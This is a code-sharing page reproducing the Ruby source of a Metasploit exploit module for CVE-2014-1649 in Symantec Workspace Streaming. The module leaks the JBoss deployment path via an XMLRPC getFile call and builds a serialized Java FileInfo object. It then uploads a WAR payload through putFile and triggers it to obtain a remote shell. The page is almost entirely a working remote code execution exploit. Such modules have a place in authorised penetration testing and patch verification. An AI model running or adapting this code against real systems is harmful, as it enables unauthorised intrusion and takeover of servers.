扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 |
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rexml/document' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include REXML def initialize(info = {}) super(update_info(info, 'Name'=> 'Symantec Workspace Streaming Arbitrary File Upload', 'Description' => %q{ This module exploits a code execution flaw in Symantec Workspace Streaming. The vulnerability exists in the ManagementAgentServer.putFile XMLRPC call exposed by the as_agent.exe service, which allows for uploading arbitrary files under the server root. This module abuses the auto deploy feature in the JBoss as_ste.exe instance in order to achieve remote code execution. This module has been tested successfully on Symantec Workspace Streaming 6.1 SP8 and Windows 2003 SP2. Abused services listen on a single machine deployment, and also in the backend role in a multiple machine deployment. }, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References'=> [ ['CVE', '2014-1649'], ['BID', '67189'], ['ZDI', '14-127'], ['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20140512_00'] ], 'Privileged'=> true, 'Platform'=> 'java', 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'Symantec Workspace Streaming 6.1 SP8 / Java Universal', {} ] ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'May 12 2014')) register_options( [ Opt::RPORT(9855), # as_agent.exe (afuse XMLRPC to upload arbitrary file) OptPort.new('STE_PORT', [true, "The remote as_ste.exe AS server port", 9832]), # as_ste.exe (abuse jboss auto deploy) ], self.class) end def send_xml_rpc_request(xml) res = send_request_cgi( { 'uri' => normalize_uri("/", "xmlrpc"), 'method'=> 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data'=> xml }) res end def build_soap_get_file(file_path) xml = Document.new xml.add_element( "methodCall", { 'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions" }) method_name = xml.root.add_element("methodName") method_name.text = "ManagementAgentServer.getFile" params = xml.root.add_element("params") param_server_root = params.add_element("param") value_server_root = param_server_root.add_element("value") value_server_root.text = "*AWESE" param_file_type = params.add_element("param") value_file_type = param_file_type.add_element("value") type_file_type = value_file_type.add_element("i4") type_file_type.text = "0" # build path from the server root directory param_file_name = params.add_element("param") value_file_name = param_file_name.add_element("value") value_file_name.text = file_path param_file_binary = params.add_element("param") value_file_binary = param_file_binary.add_element("value") type_file_binary = value_file_binary.add_element("boolean") type_file_binary.text = "0" xml << XMLDecl.new("1.0", "UTF-8") xml.to_s end def build_soap_put_file(file) xml = Document.new xml.add_element( "methodCall", { 'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions" }) method_name = xml.root.add_element("methodName") method_name.text = "ManagementAgentServer.putFile" params = xml.root.add_element("params") param_server_root = params.add_element("param") value_server_root = param_server_root.add_element("value") value_server_root.text = "*AWESE" param_file_type = params.add_element("param") value_file_type = param_file_type.add_element("value") type_file_type = value_file_type.add_element("i4") type_file_type.text = "0" # build path from the server root directory param_file = params.add_element("param") value_file = param_file.add_element("value") type_value_file = value_file.add_element("ex:serializable") type_value_file.text = file xml << XMLDecl.new("1.0", "UTF-8") xml.to_s end def build_soap_check_put xml = Document.new xml.add_element( "methodCall", { 'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions" }) method_name = xml.root.add_element("methodName") method_name.text = "ManagementAgentServer.putFile" xml.root.add_element("params") xml << XMLDecl.new("1.0", "UTF-8") xml.to_s end def parse_method_response(xml) doc = Document.new(xml) file = XPath.first(doc, "methodResponse/params/param/value/ex:serializable") unless file.nil? file = Rex::Text.decode_base64(file.text) end file end def get_file(path) xml_call = build_soap_get_file(path) file = nil res = send_xml_rpc_request(xml_call) if res && res.code == 200 && res.body file = parse_method_response(res.body.to_s) end file end def put_file(file) result = nil xml_call = build_soap_put_file(file) res = send_xml_rpc_request(xml_call) if res && res.code == 200 && res.body result = parse_method_response(res.body.to_s) end result end def upload_war(war_name, war, dst) result = false java_file = build_java_file_info("#{dst}#{war_name}", war) java_file = Rex::Text.encode_base64(java_file) res = put_file(java_file) if res && res =~ /ReturnObject.*StatusMessage.*Boolean/ result = true end result end def jboss_deploy_path path = nil leak = get_file("bin/CreateDatabaseSchema.cmd") if leak && leak =~ /\[INSTALLDIR\](.*)ste\/ste.jar/ path = $1 end path end def check check_result = Exploit::CheckCode::Safe if jboss_deploy_path.nil? xml = build_soap_check_put res = send_xml_rpc_request(xml) if res && res.code == 200 && res.body && res.body.to_s =~ /No method matching arguments/ check_result =Exploit::CheckCode::Detected end else check_result =Exploit::CheckCode::Appears end check_result end def exploit print_status("#{peer} - Leaking the jboss deployment directory...") jboss_path =jboss_deploy_path if jboss_path.nil? fail_with(Exploit::Unknown, "#{peer} - Failed to disclose the jboss deployment directory") end print_status("#{peer} - Building WAR payload...") app_name = Rex::Text.rand_text_alpha(4 + rand(4)) war_name = "#{app_name}.war" war = payload.encoded_war({ :app_name => app_name }).to_s deploy_dir = "..#{jboss_path}" print_status("#{peer} - Uploading WAR payload...") res = upload_war(war_name, war, deploy_dir) unless res fail_with(Exploit::Unknown, "#{peer} - Failed to upload the war payload") end register_files_for_cleanup("../server/appstream/deploy/#{war_name}") 10.times do select(nil, nil, nil, 2) # Now make a request to trigger the newly deployed war print_status("#{rhost}:#{ste_port} - Attempting to launch payload in deployed WAR...") res = send_request_cgi( { 'uri'=> normalize_uri("/", app_name, Rex::Text.rand_text_alpha(rand(8)+8)), 'method' => 'GET', 'rport'=> ste_port # Auto Deploy can be reached through the "as_ste.exe" service }) # Failure. The request timed out or the server went away. break if res.nil? # Success! Triggered the payload, should have a shell incoming break if res.code == 200 end end def ste_port datastore['STE_PORT'] end # com.appstream.cm.general.FileInfo serialized object def build_java_file_info(file_name, contents) stream ="\xac\xed" # stream magic stream << "\x00\x05" # stream version stream << "\x73" # new Object stream << "\x72" # TC_CLASSDESC stream << ["com.appstream.cm.general.FileInfo".length].pack("n") stream << "com.appstream.cm.general.FileInfo" stream << "\xa3\x02\xb6\x1e\xa1\x6b\xf0\xa7" # class serial version identifier stream << "\x02" # flags SC_SERIALIZABLE stream << [6].pack("n") # number of fields in the class stream << "Z" # boolean stream << ["bLastPage".length].pack("n") stream << "bLastPage" stream << "J" # long stream << ["lFileSize".length].pack("n") stream << "lFileSize" stream << "[" # array stream << ["baContent".length].pack("n") stream << "baContent" stream << "\x74" # TC_STRING stream << ["[B".length].pack("n") stream << "[B" # field's type (byte array) stream << "L" # Object stream << ["dTimeStamp".length].pack("n") stream << "dTimeStamp" stream << "\x74" # TC_STRING stream << ["Ljava/util/Date;".length].pack("n") stream << "Ljava/util/Date;" #field's type (Date) stream << "L" # Object stream << ["sContent".length].pack("n") stream << "sContent" stream << "\x74" # TC_STRING stream << ["Ljava/lang/String;".length].pack("n") stream << "Ljava/lang/String;" #field's type (String) stream << "L" # Object stream << ["sFileName".length].pack("n") stream << "sFileName" stream << "\x71" # TC_REFERENCE stream << [0x007e0003].pack("N") # handle stream << "\x78" # TC_ENDBLOCKDATA stream << "\x70" # TC_NULL # Values stream << [1].pack("c") # bLastPage stream << [0xffffffff, 0xffffffff].pack("NN") # lFileSize stream << "\x75" # TC_ARRAY stream << "\x72" # TC_CLASSDESC stream << ["[B".length].pack("n") stream << "[B" # byte array) stream << "\xac\xf3\x17\xf8\x06\x08\x54\xe0" # class serial version identifier stream << "\x02" # flags SC_SERIALIZABLE stream << [0].pack("n") # number of fields in the class stream << "\x78" # TC_ENDBLOCKDATA stream << "\x70" # TC_NULL stream << [contents.length].pack("N") stream << contents # baContent stream << "\x70" # TC_NULL # dTimeStamp stream << "\x70" # TC_NULL # sContent stream << "\x74" # TC_STRING stream << [file_name.length].pack("n") stream << file_name # sFileName stream end end |
体验盒子
